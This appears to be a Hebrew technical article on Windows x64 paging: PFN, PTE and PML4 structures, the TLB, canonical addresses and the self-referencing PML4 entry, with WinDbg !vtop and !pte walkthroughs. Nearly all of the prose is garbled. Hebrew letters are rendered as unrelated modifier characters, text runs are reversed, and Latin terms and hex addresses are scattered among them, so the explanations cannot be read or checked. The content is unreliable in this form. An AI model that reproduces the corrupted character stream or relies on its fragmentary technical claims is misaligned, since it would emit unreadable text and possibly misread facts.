ˢ ˪˷ ˸˧ˤ˧˲ˢ ˪˷ ˸˟ˣ˸˩ˢ ˸˞ ˞ˣ˴ˬ˪ ˢ˧ˢ˧-PT :˧˦ˮˣˣ˪˶ˢ 

 

ˢ ,˟ˣ˷-PFN  ˞ˣˢ0x1D0ˢ˷ ˭˞˩ˬ ,-PT  ˸˧ˤ˧˲ˢ ˸˟ˣ˸˩˟ ˞˴ˬˮ ˧˦ˮˣˣ˪˶ˢ0x1D0000 ˸˟ˣ˸˩ˢ ˸˞ ˞˴ˬˮ .

:ˣˮ˪˷ ˸˟ˣ˸˩ˢ ˸˩˧˧˷ ˣ˧˪˞ ˧˪˞ˣ˦˶˧ˣˢ ˡˣˬ˰ˢ ˢ˲ˣˬˬ ˢ˧˪˞ ˸˧ˤ˧˲ˢ 

 

-sPFN ˞ˣˢ 0x2854 ˸˧ˤ˧˲ˢ ˸˟ˣ˸˩˪ ˢ˲ˣˬˬ ˣˮ˪˷ ˧˪˞ˣ˦˶˧ˣˢ ˡˣˬ˰ˢ ˶ˬˣ˪˩ ,0x2854000 ˸˞ ˱˧˯ˣˮ .

ˬ ˪˟˵˸ˢ˷ ˯˵ˡˮ˧˞ˢ-12  ˸˧ˤ˧˲ˢ ˸˟ˣ˸˩ˢ ˸˞ ˪˟˵ˮˣ ˸˧˪˞ˣ˦˶˧ˣˢ ˸˟ˣ˸˩ˢ ˪˷ ˫˧ˮˣ˸˥˸ˢ ˫˧˦˧˟ˢ

0x2854000:ˢˢˤ ˭˩˞ (˸˧˪˞ˣ˦˶˧ˣˢˣ ˸˧ˤ˧˲ˢ) ˸ˣ˟ˣ˸˩˟ ˞˴ˬˮ˷ ˰ˡ˧ˬˢ˷ ˞ˡˣˣˮ . 

 

.˵˧ˣˡˬ ˢ˧ˢ ˣˮ˪˷ ˫ˣˠ˶˸ˢ ,ˢ˪ˣ˰ˬ 

 ˢˡˣ˵˲ˢ ˸˶ˤ˰˟ ˣˮ˰˴˧˟˷ ˨˧˪ˢ˸ˢ ˸˞ ˶˴˵˪ ˪˩ˣˮ!vtop ˢ˸ˣ˞ ˢ˶˧ˬˬˣ ˸˧˪˞ˣ˦˶˧ˣ ˸˟ˣ˸˩ ˸˪˟˵ˬ ˶˷˞ ,

:˸˧ˮˡ˧ ˣˮ˶ˬˢ˷ ˸˟ˣ˸˩ˢ ˶ˣ˟˰ ˢ˶ˬˢˢ ˸˞ ˰˴˟˸ ˢˡˣ˵˲ˢ ˡ˴˧˩ ˢ˞˶ˮ .˸˧ˤ˧˲ ˸˟ˣ˸˩˪ 

 

.ˢ˶ˬˢˢ ˧˟˪˷ ˦ˣ˶˧˲ ˧ˡ˩ ˨ˣ˸ ,ˢ˶ˬˢˢ ˸˞ ˸˰˴˟ˬ ˢˡˣ˵˲ˢ ,˸ˣ˞˶˪ ˭˸˧ˮ˷ ˧˲˩ 

 ˢˡˣ˵˲ˢ ˞˧ˢ ˶˧˩ˢ˪ ˟ˣ˷˥˷ ˸˲˯ˣˮ ˢˡˣ˵˲!pte ˫˧˧˦ˮˣˣ˪˶ˢ ˧ˣ˲˧ˬˢ ˧˶˟˧˞ ˸ˣˡˣ˞ ˰ˡ˧ˬ ˢˠ˧˴ˬ ˶˷˞ ,

:˸ˬ˧ˣ˯ˬ ˸˧˪˞ˣ˦˶˧ˣ ˸˟ˣ˸˩˪ 
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ˢ ˸˞˧˴ˬ˪ ˶˟˰ˬ ,˸ˣ˞˶˪ ˭˸˧ˮ˷ ˧˲˩-PFN- ˢˡˣ˵˲ˢ ,˫˧!pte ˢ ˸˞ ˶˯˶˲˪ ˸˰ˡˣ˧-PTE ˧˴ˢ˪ˣ ɣ ˫˧˪ˠˡˢ ˸˞

ˢ ˪˰ ˠ˴ˣˬ˷ ˰ˡ˧ˬˢˬ ˡˣˬ˪˪ ˭˸˧ˮ :ˢ˥ˣˮ ˢ˶ˣ˴˟ ˣ˟˷ ˫˧˵˪ˣˡˢ-PDE˪ ˸˲ˣˬˬ˷ ˸˟ˣ˸˩˪ ˯˥˧˧˸ˬ ˞ˣˢ˷ ,-

RAM )V) ˢ˴˶ˢ ˶˟ ˞ˣˢ˷ ,(E ˸ˣ˞˷˶ˢ ˪˰˟ ,(Read/Write )W) ˪ˮ˶˵˪ ˨˧˧˷ ,(K ˢ˷˧ˠ ˣ˧˪˞ ˢ˰˴˟˸ˢ˷ ,(

) ˶˟˰˟A) "˨˪˩ˣ˪ˬ" ˞ˣˢ˷ˣ (Dˢ ˶ˣ˟˰ ˫ˠ ˫˧˧˦ˮˣˣ˪˶ ˣ˪˪ˢ ˦˶˲ˢ ˪˩ .(-PTE ˞ˣˢ˷ ˡˣˬ˰ˢ˷ ˨˩˪ ˸˲˯ˣ˸˟ ,

) ˧˪˟ˣ˪ˠ ˡˣˬ˰ ˞ˣˢ ˶˞˸ˬG.( 

 ˸ˣ˟ˣ˸˩ˢ˷ ˭˧˧˴ˮˢ ˶ˣ˟˰ ˸ˣˠ˴ˣˬ˷-PDE sx-PTE  ˨˩˪ ˢ˟˧˯ˢ .ˣˮˡ˟˰ ˭˸˧˞ ˸ˣ˧ˤ˧˲ˢ ˸ˣ˟ˣ˸˩˪ ˸ˣˬ˞ˣ˸ ˞˪

.ˣˮˬ˴˰˟ ˭˸ˣ˞ ˞ˣ˴ˬ˪ ˪˩ˣˮ ˡ˴˧˩ ˢ˪ˠˮ ˨˷ˬˢ˟ .˧ˣ˲˧ˬˢ ˧˶˟˧˞ ˪˷ ˸ˣ˧˪˞ˣ˦˶˧ˣˢ ˸ˣ˟ˣ˸˩ˢ ˣ˪˞˷ ˞˧ˢ 

x64 Memory Management 

 ˸ˮ˷˟2003 ,AMD  ˡ˟˰ˬˢ ˸˞ ˢ˶˶˥˧˷Opteron .Opteron  ˫˰ ˫˪ˣ˰˟ ˭ˣ˷˞˶ˢ ˡ˟˰ˬˢ ˢ˧ˢ ˢ˩˧ˬ˸

 ˪˷ ˸ˣˡˣ˵˲ ˦˯˟x86/x64 ˪˷ ˸ˣ˟ˣ˸˩ ˟˥˶ˬ˪ ˢ˷˧ˠ ˫˧˩˧˪ˢ˸˪ ˵˧ˮ˰ˢˣ ,64- ˪˷ ˸ˣ˟ˣ˸˩ ˟˥˶ˬ˟ .˦˧˟64-

 ˪˷ ˥ˣˣ˦˟ ˸ˣ˟ˣ˸˩˪ ˸˷ˠ˪ ˫˧˪ˣ˩˧ ˫˧˩˧˪ˢ˸ ,˦˧˟16EB - ˢ˯˵˞- ˸˧˟- ˢ˶˦ ˪˰ˬ ˢˡ˧ˬ ˸ˣˡ˧˥˧ ˧˸˷- ˸˧˟

)TB ˪˷ ˧ˤ˧˲ ˸ˣ˟ˣ˸˩ ˟˥˶ˬ˪ ˢ˷˧ˠ ˫˧˶˷˲˞ˬ ˫˧˧ˮ˶ˡˣˬ ˫˧ˡ˟˰ˬ ,˪˰ˣ˲˟ .(48-,ˡ˟˪˟ ˦˧˟  ˟˥˶ˬ ˶ˬˣ˪˩

 ˪˷ ˸ˣ˟ˣ˸˩256TB. 

 ˨˧˪ˢ˸ ˧˦˶ˣ˞˸ ˭˲ˣ˞˟˷ ˭ˣˣ˧˩ˬ64-˪ ˷˧ˠˮ ˸ˣ˧ˢ˪ ˶ˣˬ˞ ˦˧˟-16EB  ˡ˟˰ˬˢ ˪˰ˣ˲˟ ˪˟˞ ,˧˪˞ˣ˦˶˧ˣ ˭ˣ˶˩˧ˤ ˪˷

 ˪˷ ˧ˤ˧˲ ˭ˣ˶˩˧ˤ˪ ˢ˷˧ˠˢ ˸˞ ˪˧˟ˠˬ48- "˸ˣ˧ˮˣˮ˵ ˸ˣ˟ˣ˸˩" ˪˷ ˦˲˯ˮˣ˵ ˳ˬˣ˞ ,˦˧˟- Canonical Addresses .

˯ˬ ˫˧˵˪˥˪ ˵˶ ˸˷ˠ˪ ˪˩ˣ˧ ˨˧˪ˢ˸˷ ˞ˣˢ ˭ˣ˧˰˶ˢ ˧˪˞ˣ˦˶˧ˣˢ ˸ˣ˟ˣ˸˩ˢ ˟˥˶ˬ ˪˷ ˫˧ˬ˧ˣ- 0  ˡ˰

0x7FFF`FFFFFFFF ˢ ˶ˣ˟˰-User x-0xFFFF8000`00000000  ˡ˰0xFFFFFFFF`FFFFFFFF  ˨˩ .˸˩˶˰ˬˢ ˶ˣ˟˰

 ˪ˡˣˠ˟ ˞ˣˢ ˧ˮˣˮ˵ "˶ˣˤ˞" ˪˩˷ ˞˴ˣ˧128TB ˞ˣˢ ˨˧˪ˢ˸˪ ˷˧ˠˮˢ ˧ˮˣˮ˵ˢ ˸ˣ˟ˣ˸˩ˢ ˟˥˶ˬ ˨˩ˣ ,256TB -  ˶ˬˣ˪˩

 ˪˷ ˸ˣ˟ˣ˸˩ ˟˥˶ˬ48- ˧˲˩ ˭˩˞ˣ ,˦˧˟˟ ˵˶ ˶ˤ˰˧ˮ ,˸˟ˣ˸˩ˢ ˫ˣˠ˶˸ ˨˪ˢˬ˟ ,ˢ˞˶ˮ˷-48  ˫˧ˮˣ˸˥˸ˢ ˫˧˦˧˟ˢ

 ˸˟ˣ˸˩ˢ ˪˷- 16  ˫˧ˢˣ˟ˠ ˫˧˲ˡ˟ ˫˧˵˪ˣˡ ˡ˧ˬ˸ ˫ˢˣ ,˸˧ˮˣˮ˵ˢ "ˢ˟˥˶ˢ"˪ ˫˧˷ˬ˷ˬ ˫˧ˮˣ˧˪˰ˢ ˫˧˦˧˟ˢ

ˬ ˢ˷˧ˠ˪ ˫˧ˡ˰ˣ˧ˬˢ) ˫˧˩ˣˬˮ ˫˧˲ˡ˟ ˫˧˧ˣ˟˩ˣ (˪ˮ˶˵˪ ˫˧ˡ˰ˣ˧ˬˢ)-User-Mode.( 

 ˪˷ ˧ˣ˲˧ˬ ˶˷˲˞˪ ˸ˮˬ ˪˰256TB˸˧˪˞ˣ˦˶˧ˣˢ ˸˟ˣ˸˩ˢ , ˬ ˫˧ˬ˪˰˸ˬ ,˸˧˷˞˶ :˞˟ˢ ˭˲ˣ˞˟ ˢ˵˪ˣ˥-16 

˟ ˫˧˷ˬ˸˷ˬ ,˭˩ˬ ˶˥˞˪ .˫˧ˮˣ˧˪˰ˢ ˫˧˦˧˟ˢ-9  ˷ˡ˥ ˧ˣ˲˧ˬ ˢˮ˟ˬ˟ ˯˵ˮˡ˧˞˩ ˫˧ˮˣ˧˪˰ˢ ˫˧˦˧˟ˢ- PML4 .9 

˪ ˯˵ˡˮ˧˞˩ ˫˧˷ˬ˷ˬ ˫˧˞˟ˢ ˫˧˦˧˟ˢ-PDPT ˪ ˡˣˠ˧ˮ˟)-2 ˟ ˫˧˦˧˟-x86 PAE˟˷ ˨˩ ,(-PDPT  ˸˥˸x64  ˷˧

512 ˫˪˷ ˧ˤ˧˲ ˭ˣ˶˩˧ˤ ˡˣˬ˰ ˯˲ˣ˸ ˞ˣˢˣ ,˫˧˶˟˧˞ )4KB ˡ˰ ˪˷ ˧ˣ˲˧ˬ ˶˷˲˞ˬˣ (512GB  ˧˪˞ˣ˦˶˧ˣ ˭ˣ˶˩˧ˤ ˪˷

 ˪˩ ,˶ˣ˩ˤ˩)PPE  ˡ˰ ˪˷ ˧ˣ˲˧ˬ ˶˷˲˞ˬ1GB  ˫˧˶˧˩ˬ ˣˮ˞˷ ˭˲ˣ˞˟ ˫˧˪˴ˣˮˬ ˫˧˦˧˟ˢ ˶˞˷ .(˧˪˞ˣ˦˶˧ˣ ˭ˣ˶˩˧ˤ ˪˷

-ˬx86 PAE - 9 ˪ ˯˵ˡˮ˧˞˩ ˫˧˷ˬ˷ˬ ˫˧˞˟ˢ ˫˧˦˧˟ˢ-PD ,9 ˪ ˯˵ˡˮ˧˞˩ ˫˧˷ˬ˷ˬ ˫ˢ˧˶˥˞˷ ˫˧˦˧˟ˢ-PT ,

-x12 .˧ˤ˧˲ˢ ˭ˣ˶˩˧ˤ˟ ˦˯˧ˢ˩ ˫˧˷ˬ˷ˬ ˫˧ˮˣ˶˥˞ˢ ˫˧˦˧˟ˢ 

 ˷ˡ˥ˢ ˧ˣ˲˧ˬˢ ˢˮ˟ˬ- PML4 x˞  Page Map Level 4 -  ˪˧˩ˬ ˞ˣˢˣ ,˶˸ˣ˧˟ ˢˣ˟ˠˢ ˧ˣ˲˧ˬˢ ˟˪˷ ˸˞ ˢˣˣˢˬ

 ˫˷˟ ˫˧˶˟˧˞PML4E  ˣ˞PXE ˪˰ ˣˮˮˣ˧ˡ˟ ˣ˟ ˣˮˡ˷ ˢˮ˟ˬ˪ ˢˬˣˡ ˢˮ˟ˬ ˧˪˰˟ ,Paging ˟-x86 ˸ˣ˟˥˶ˢˢ ˫˰ ,

 ˪˰ ˣˮˮˣ˧ˡ˟ ˣˮˠ˴ˢ˷ ˢˮ˟ˬ˪x86 PAE ˪˧˩ˬ ˶˟˧˞ ˪˩ .PFN ˢ ˟˷ˣ˧ ˣ˟ ˧ˤ˧˲ ˡˣˬ˰˪-PDPT  ˰ˡ˧ˬ ˪˧˩ˬ ˶˷˞
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ˢ ˸˞ ˫ˠ˶˸˪ ˣˮ˪ ˶ˣˤ˰˧˷ ˱˯ˣˮ ˧˦ˮˣˣ˪˶ ˧ˣ˲˧ˬ-VA˟ .-PML4  ˷˧512 PXE- ˡ˰ ˪˷ ˧ˣ˲˧ˬ ˶˷˲˞ˬ ˞ˣˢ ˨˩ˣ ,˫˧

512GB * 512 ˡ˰ ˪˷ ˶ˬˣ˪˩ ,256TB  ˧˪˞ˣ˦˶˧ˣ ˭ˣ˶˩˧ˤ ˪˷-  ˪˷ ˸ˣ˟ˣ˸˩ ˟˥˶ˬ˟ ˷˧ˠˮˢ ˭ˣ˶˩˧ˤˢ ˪˩48-.˦˧˟ 

 ˪˰ ˣˮˮˣ˧ˡ˟ ˣˮˠ˴ˢ˷ ˫˧˪ˠˡˢ ˸˞ ˫˧˶ˬ˷ˬ ˧ˣ˲˧ˬˢ ˧˶˟˧˞ ,ˣˤ ˢ˶ˣ˦˵˦˧˩˶˞ ˸˥˸ ,ˣˮ˧˧˴˷ ˧˲˩x86 ˫˰ ,

˪ ˢ˪ˡˠˢˢ-8 ˢ ˸˲˯ˣˢˣ ˫˧˸˟-NX-Bit  ˪˰ ˣˮˮˣ˧ˡ˟ ˣˮˠ˴ˢ˷x86 PAE. 

ˬ ˥ˣ˵˪ˢ ,˞˟ˢ ˫˧˷˶˸ˢ-coresecurity.com ˸˟ˣ˸˩˪ ˸˧˪˞ˣ˦˶˧ˣ ˸˟ˣ˸˩ ˪˷ ˫ˣˠ˶˸ ˰˴˟˸ˬ ˡ˴˧˩ ˠ˧˴ˬ ,

 ˸˥˸ ˸˧ˤ˧˲x64 : 

 

ˮ˷ ˧˲˩ ,˸ˣ˞˶˪ ˭˸˧CR3 ˢ ˫ˠˣ)-Pcb.DirectoryTableBase ˟˷-_EPROCESS  ˸˞ ˪˧˩ˬ (˨˧˪ˢ˸ˢ ˪˷

 ˪˷ ˸˧ˤ˧˲ˢ ˸˟ˣ˸˩ˢPML4ˢ ˪˷ ˞˪ˣ ,-PDPTˢ ˸˞˧˴ˬ ˸˞ ˶˷˲˞˪ ˸ˮˬ ˪˰ ,-Paging Level  ˶˸ˣ˧˟ ˢˣ˟ˠˢ

.˫ˣˠ˶˸ˢ ˨˧˪ˢ˸ ˸˞ˣ 

 ˸˧˪˞ˣ˦˶˧ˣˢ ˸˟ˣ˸˩ˢ ˶ˣ˟˰ ˫ˣˠ˶˸ˢ ˨˧˪ˢ˸ ˸˞ ˷˧˥ˬˮ0xFADFBDF670˸˞ ˞˴˧˧ˮ ,˸˧˷˞˶ .  ˫˧˯˵ˡˮ˧˞ˢ

:˸˟ˣ˸˩ˢˬ ˫˧˦ˮˣˣ˪˶ˢ 

 

˟˫ˣ˥ - ˪ ˯˵ˮˡ˧˞-PML4˟ ,˪ˣ˥˩ - ˪ ˯˵ˡˮ˧˞-PDPT˟ ,˵ˣ˶˧ - ˪ ˯˵ˡˮ˧˞-PD˟ ,˟ˣˢ˴ - ˪ ˯˵ˡˮ˧˞-PT˟ ,˫ˣˡ˞ 

- .˧ˤ˧˲ˢ ˡˣˬ˰˟ ˦˯˧ˢ 
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 ˫ˣˠ˶˸˟ ˪˧˥˸ˮ-  ˪˷ ˸˟ˣ˸˩ˢ ˸˞ ˞˴ˬˮ ˢ˪˧˥˸PML4: 

 

ˢ ˸˞ ˞˴ˬˮ ,˸˰˩-PFN ˟-PXE :˧˦ˮˣˣ˪˶ˢ 

 

 ˸˞ ˞ˣ˴ˬ˪ ˪˩ˣˮ˷ ˢ˪ˣ˰ ˭˞˩ˬ-sPDPT  ˸˧ˤ˧˲ˢ ˸˟ˣ˸˩˟ ˣˮ˪ ˧˦ˮˣˣ˪˶ˢ0x20321000ˢ ˸˞ ˞˶˵ˮ .-PPE: 

 

ˢ ,˶ˬˣ˪˩-PD  ˸˧ˤ˧˲ˢ ˸˟ˣ˸˩˟ ˞˴ˬˮ ˧˦ˮˣˣ˪˶ˢ0x115a2000ˢ ˸˞ ˞˶˵ˮ .-PDE :˧˦ˮˣˣ˪˶ˢ 

 

-sPT  ˸˧ˤ˧˲ˢ ˸˟ˣ˸˩˟ ˞˴ˬˮ ˧˦ˮˣˣ˪˶ˢ0x6BC32000ˢ ˸˞ ˞˶˵ˮ .-PTE: 

 

 ˸˧ˤ˧˲ˢ ˸˟ˣ˸˩˪ ˢ˲ˣˬˬ ˣˮ˪˷ ˧˪˞ˣ˦˶˧ˣˢ ˡˣˬ˰ˢ˷ ˭˞˩ˬ0x370FB000) ˦˯˧ˢˢ ˸˞ ˱˧˯ˣˮ .12  ˫˧˦˧˟ˢ

:˸˧˪˞ˣ˦˶˧ˣˢ ˸˟ˣ˸˩˟˷ ˰ˡ˧ˬ˪ ˢˢˤ ˸˧ˤ˧˲ˢ ˸˟ˣ˸˩˟ ˞˴ˬˮ˷ ˰ˡ˧ˬˢ˷ ˢ˞˶ˮˣ (˫˧ˮˣ˸˥˸ˢ 

 

 ˸˞ ˰˴˟˪ ˪˩ˣˮ ,˫ˡˣ˵ˢ ˱˧˰˯˟ ˣˮ˧˧˴˷ ˧˲˩ .ˢˮˣ˩ˮ ˢ˶ˣ˴˟ ˫ˣˠ˶˸ˢ ˸˞ ˣˮ˰˴˧˟ ˶ˬˣ˪˩ ,ˢˢˤ ˰ˡ˧ˬˢ ,ˢ˪ˣ˰ˬ

 ˸˶ˤ˰˟ ˫ˠ ˫ˣˠ˶˸ˢ!vtop: 
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˪˩ ˸ˣˡˣ˞ ˦˶ˣ˲ˬ ˰ˡ˧ˬ ˪˟˵˪ˣ ) ˨˶ˡˢ ˨˶ˣ˞˪ ˣˮ˶ˤ˰ˮ ˫ˢ˟ ˧ˣ˲˧ˬˢ ˧˶˟˧˞PXE, PPE, PDE, PTE ˸˶ˤ˰˟ (!pte: 

 

Translation Lookaside Buffer 

 ˫ˣˠ˶˸ ˨˧˪ˢ˸VA ˪-PA˪ ˸ˣ˷˧ˠ ˢ˟˶ˢ ˪˪ˣ˩˷ ,˧˦˧˞ˣ ˡ˟˩ ˨˧˪ˢ˸ ˞ˣˢ ,˫˧ˬˡˣ˵ˢ ˫˧˲˧˰˯˟ ˣˮˠ˴ˢ ˣ˸ˣ˞ ,-

RAM) ˭ˣˬ˦ˬ ˫˧˵˲˯ˬ ˣˮ˧˧ˢ ˞˪ˣ ˢˡ˧ˬ˟ .Cache ,˫ˣˠ˶˸ˢ ˸ˣ˪ˣ˰˲˪ ˫˧ˣ˯ˬ ( ˣˬ˩ .ˤˤ ˢ˧ˢ ˞˪ ˣˮ˪˷ ˟˷˥ˬˢ

.˧˟˧˦˵˲˞ ˢ˧ˢ˧˷ ˸ˮˬ ˪˰ ˡ˟˰ˬˢˬ ˵˪˥ ˸ˣ˧ˢ˪ ˨˧˶˴ ˣˬ˴˰ ˭ˣˬ˦ˬˢ˷ ˶ˣ˶˟ ,˭˩ 

 ˞˶˵ˮ ˢˤˢ ˭ˣˬ˦ˬˢTranslation Lookaside Buffer ˶ˣ˴˧˵˟ ˣ˞ ,TLBˢˬ ˵˪˥ ˞ˣˢˣ ,-MMU  .ˡ˟˰ˬˢ ˪˷

˟ ˢ˪˷ ˫ˣˠ˶˸ˢ ˸ˣˡˣ˞ ˰ˡ˧ˬ ˞ˣ˴ˬ˪ ˢ˯ˮ˧ ˡ˟˰ˬˢ ,˸ˬ˧ˣ˯ˬ ˸˟ˣ˸˩ ˫ˠ˶˸˪ ˢ˴˶ˮˣ ˢˡ˧ˬ˟-TLB.  ˢˡ˧ˬ˟

˟ ˸˟ˣ˸˩˪ ˧˦ˮˣˣ˪˶ ˰ˡ˧ˬ ˫˧˧˵ˣ-TLB ,ˢˤ˩ ˰ˡ˧ˬ ˫˧˧˵ ˞˪ˣ ˢˡ˧ˬ˟ .˶˸ˣ˧ ˶˧ˢˬ ˸˧˸ˣ˰ˬ˷ˬ ˢ˧ˢ˧ ˫ˣˠ˶˸ˢ ,

ˢˬ ˞˶˵˧˷ ˰ˡ˧ˬˢ-RAM ˢ ˨ˣ˸˪ ˶ˬ˷˧-TLB ˪˷ ˭˧˧˴ˮ .˸ˣ˲˯ˣˮ ˸ˣ˷˧ˠ ˶ˣ˟˰-TLB  ˪˩ˣ ˢˡ˧ˬ˟ˣ ,˪˟ˠˣˬ ˪ˡˣˠ

ˢˬ ˣ˵˥ˬ˧ ˢ˷˧ˠ ˫ˢ˧˪˞ ˢ˰˴˟˸ˢ ˞˪˷ ˫˧˞˸ ,˫˧˯ˣ˲˸ ˣ˟ ˫˧˞˸ˢ-TLB. 

ˢ˞˟ˢ ˢˮˣˬ˸ˢ ˟ ˷ˣˬ˧˷ˢ ˭˲ˣ˞ ˸˞ ˧˪˪˩ ˭˲ˣ˞˟ ˢ˷˧˥ˬˬ-TLBˣ˧ˮ ˸˦˧˯˶˟˧ˮˣ˞ ˪˷ ˶˸˞ˢˬ ˢ˥ˣ˵˪ ˞˧ˢˣ ,-

:ˣ˵˧˯˵ˬ 

 

 ˪˰ ˭ˣ˧ˡˢ ˸˞ ˟˧˥˶ˮ ˞˪TLBs .ˢˤ ˶ˬ˞ˬ ˸˶ˠ˯ˬ˟ 

Self-Ref Entry 

 ˸˟ˣ˸˩ ˫ˠ˶˸˪ ˸ˮˬ ˪˰ ˫ˢ˟ ˶ˤ˰˧ˢ˪ ˭˸˧ˮ ˡ˴˧˩ˣ ˧ˣ˲˧ˬˢ ˧ˮ˟ˬ ˫˧˞˶ˮ ˡ˴˧˩ ˣˮ˶˞˧˸ ,˫˧ˬˡˣ˵ˢ ˫˧˲˧˰˯˟

 .˸˧ˤ˧˲ ˸˟ˣ˸˩˪ ˸˧˪˞ˣ˦˶˧ˣ ˫ˢ˟ ,˸ˣ˧˪˞ˣ˦˶˧ˣ ˸ˣ˟ˣ˸˩˪ ˫˧˲ˣˬˬ ˫˧ˮ˟ˬˢ ˪˩˷ ˣˮ˧˧˴ ˭ˣ˧ˡˢ ˸˪˧˥˸˟

 ˢ˧˰˟ ˢ˪˰ˬ ˢˤ ˶˟ˡ .ˢ˪˰˲ˢˢ ˸˩˶˰ˬ ˸˷ˬ˸˷ˬ- ?˫˧ˮ˟ˬˢ ˸˞ ˪ˢˮ˪ ˭ˣ˩ˮ ˡ˴˧˩ 

 ˢ˞˟ˢ ˢˬˠˣˡˢ ˸˞ ˥˵˧ˮ-  ˧ˢ˷˪˩ ˸˧˪˞ˣ˦˶˧ˣ ˸˟ˣ˸˩ ˸ˣ˲ˬ˪ ˢ˴ˣ˶ ˷ˬ˸˷ˬ˷ ˥˧ˮˮ-  ˱˧˯ˣˢ˪ ˸˩˶˰ˬˢ ˪˰

Page Table  ˸˩˶˰ˬˢ ,˸˞ˤ ˸ˣ˷˰˪ ˸ˮˬ ˪˰ .˫˧˞˸ˬˢ ˶ˣ˟˰ ˸ˬ˧ˣ˯ˬ ˸˧ˤ˧˲ ˸˟ˣ˸˩˟ ˶˥˟˸-Page Table ,
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ˢ ˸˞ ˸ˣ˲ˬ˪ ˣˮ˧˪˰ ˸˰˩ ˪˟˞-Page Table  ˨˶˦˴ˮ˷ ˨˩ ,˸˧˪˞ˣ˦˶˧ˣ ˸˟ˣ˸˩˪Page Table  ˟ˣ˷ˣ ˟ˣ˷ˣ ,˱˯ˣˮ

.˸˩˶˰ˬ˟ ˧ˤ˧˲ˢ ˭ˣ˶˩˧ˤˢ ˶ˬˠ˧˷ ˡ˰ 

˟ ˷ˣˬ˧˷ ˞ˣˢ ˣˤ ˢ˧˰˟˪ ˢ˪˰˲ˢ ˸ˣ˩˶˰ˬ ˸ˣ˷ˬ˸˷ˬ ˣ˟ ˭ˣ˶˸˲ˢ-Self-Ref Entry ˵˶ ˭ˣ˶˸˲ˢ ˸˞ ˶˞˸ˮ ˣˮ˞ .

 ˸˶ˣ˦˵˦˧˩˶˞ ˸˥˸64- ˫˰) ˦˧˟Four-Level Page Table˟ ˫˵ˬ˪ ˞ˣˢ ˭ˣ˧˰˶ˢ .(-PML ) ˶˸ˣ˧˟ ˢˣ˟ˠˢPML4 

ˢ ˸˞ ˪˧˩ˢ˪ ˫ˣ˵ˬ˟˷ ˶˟˧˞ (ˣˮ˪˷ ˢ˶˵ˬ˟-PFN  ˪˷PDPT ˢ ˸˞ ˪˧˩˧ ,˫˧ˣ˯ˬ-PFN  ˟˷ˣ˧ ˣ˟PML4  .ˣˬ˴˰

 ˫˞ ,ˢˬˠˣˡ˪PML4  ˸˧ˤ˧˲ˢ ˸˟ˣ˸˩˟ ˟˷ˣ˧0x1337000ˢ ,-PXE ˩ ˷ˬ˷ˬ˷-Self-Ref Entry ˢ ˸˞ ˪˧˩˧-PFN 

0x1337ˢ ˶˟˧˞˟ ˶˟ˣˡˬ˷ ˥˧ˮˮ .-0x30 ˟-PML4. 

 ˪ˡˣˠ˟ ˸ˣ˟ˣ˸˩ˢ ˟˥˶ˬ ˸˥˸ ˞˴ˬˮˢ ˭ˣ˶˩˧ˤ˪ ˸˷ˠ˪ ˢ˯ˮˮ ˶˷˞˩ ,ˣˤˢ ˢ˶ˣ˴˟512GB ˢ ˶˟˧˞ˢ ˢ˲ˬˬ˷-

0x30 ˟-PML4ˢ ,-PDPT  ˫˴˰˟ ˢ˧ˢ˧ ˣˮ˸ˣ˞ ˷ˬ˷˧˷PML4 ˢ ˶˟˧˞˪ ˟ˣ˷ ˸˷ˠ˪ ˢ˯ˮˮ ˫˞ .ˣˬ˴˰-0x30 ˟-

PDPT ˢ ˸˞ ˟ˣ˷ ˪˟˵ˮ ,ˣˮ˪˷-PFN  ˪˷PML4ˢ ˶ˣ˸˟ ˣˮ˸ˣ˞ ˷ˬ˷˧ ˞ˣˢ ˫˰˲ˢˣ ,-PD ˫˰˲ ˣˤ ˢ˪ˣ˰˲ ˰˴˟ˮ .

 ˫˰˲ˢˣ ,˸˲˯ˣˮPML4 ˩ ˷ˬ˷˧-PT ˢ ˶˟˧˞ˢˣ ,ˣˮ˪˷-0x30  ˣ˟- ˢ ˸˞ ˪˧˩ˬ ˶˷˞-PFN  ˪˷PML4 - ˩ ˷ˬ˷˧-

PTE ˢ ˶˟˧˞ˢ ˪˷ ˯˵ˡˮ˧˞˪ ˢˮˣ˲˷ ˸˧˪˞ˣ˦˶˧ˣˢ ˸˟ˣ˸˩ˢ˷ ˪˟˵ˮ ,˶ˬˣ˪˩ .ˣˮ˪˷-Self-Referencing ˟-PML4 

 ˪˩˟Paging Table ˸˲ˣˬˬ  ˪˷ ˸˧ˤ˧˲ˢ ˸˟ˣ˸˩˪PML4˪ ˸˷ˠ˪ ˢ˪˰˲ˢˢ ˸˩˶˰ˬ˪ ˸˶˷˲˞ˬ ˫˴˰˟ ˨˩ˣ ,-

PML4  ˶ˣ˟˰ ˢˬ˧˞˸ˬˢ ˸˟ˣ˸˩ˢ .ˢ˞˧˶˵ ˣ˞ ˢ˟˧˸˩ ˸ˣ˪ˣ˰˲ ˰˴˟˪ ˸ˮˬ ˪˰ ˸ˣ˪˵˟Self-Ref Entry  ˞˴ˬˮ˷

-˟PXE  ˶˲˯ˬ0x30  ˞˧ˢ0xFFFF180C`06030000.˸˞ˤ ˷˧˥ˬˮ . 

:˧ˣ˲˧ˬ ˢˮ˟ˬ ˪˩˟ ˫˧˯˵ˡˮ˧˞˪ ˸˟ˣ˸˩ˢ ˸˞ ˪˴˲ˮ ,ˣˮ˪ˠ˶ˢ˩ 

 

 ˞ˣˢ ˧ˤ˧˲ˢ ˡˣˬ˰˟ ˦˯˧ˢˢ ,˸ˣ˞˶˪ ˭˸˧ˮ˷ ˧˲˩0 ˫ˢ ˫˧˯˵ˡˮ˧˞ˢ ˪˩ˣ ,0x30 ˸˞ ˶˞˸ˬ ˞˟ˢ ˫˧˷˶˸ˢ .

 ˶ˣ˟˰ ˸˟ˣ˸˩ˢ ˫ˣˠ˶˸ ˨˧˪ˢ˸self-ref entry ˟ ˫˵ˣˬˬ˷-PXE  ˶˲˯ˬ) ˭ˣ˶˥˞ˢ0x1FFˬ ˥ˣ˵˪ ˞ˣˢˣ ,(-

coresecurity.com. 
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 ˫˰ ˵˶ ,ˣˮ˪˷ ˸˟ˣ˸˩ˢ ˶ˣ˟˰ ˰˴˟˸ˬ ˢˢˤ ˫ˣˠ˶˸ ˨˧˪ˢ˸0x30  ˫ˣ˵ˬ˟0x1FF: 

 

˩˷ ˭ˣˣ˧˩ˬ ,˸ˣ˞˶˪ ˭˸˧ˮ˷ ˧˲-PML4=PDPT=PD=PT ˢ ˶ˣ˟˰-Self-Ref Entryˢ ˤ˞ ,-PFN ˢ ˣ˧˪˞-PTE  ˯˥˧˧˸ˬ

